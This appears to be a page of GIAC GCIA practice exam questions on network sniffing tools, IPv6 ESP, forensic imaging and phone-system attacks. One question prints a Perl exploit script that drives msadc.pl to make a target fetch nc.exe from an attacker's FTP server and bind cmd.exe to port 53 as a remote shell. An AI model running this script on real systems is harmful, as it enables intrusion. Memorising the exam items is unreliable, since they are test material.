GIAC GCIA Exam Actual Questions

Which of the following tools is described below?

It is a set of tools that are used for sniffing passwords, e-mail, and HTTP traffic. Some of its tools include arpredirect, macof, tcpkill, tcpnice, filesnarf, and mailsnarf. It is highly effective for sniffing both switched and shared networks. It uses the arpredirect and macof tools for switching across switched networks. It can also be used to capture authentication information for FTP, telnet, SMTP, HTTP, POP, NNTP, IMAP, etc.

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Which of the following algorithms is used as a default algorithm for ESP extension header in IPv6?

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Adam, a malicious hacker performs an exploit, which is given below:

#################################################################

$port = 53;

# Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = 'noone@nowhere.com';# password

#################################################################

$host = $ARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h

$host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system

("perl msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\"");

system("perl

msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get

hacked.

html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is

downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is

finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";

#system("telnet $host $port"); exit(0);

Which of the following is the expected result of the above exploit?

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Which of the following methods is used by forensic investigators to acquire an image over the network in a secure manner?

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John works as a Network Security Administrator for NetPerfect Inc. The manager of the company has told John that the company's phone bill has increased drastically. John suspects that the company's phone system has been cracked by a malicious hacker. Which attack is used by malicious hackers to crack the phone system?

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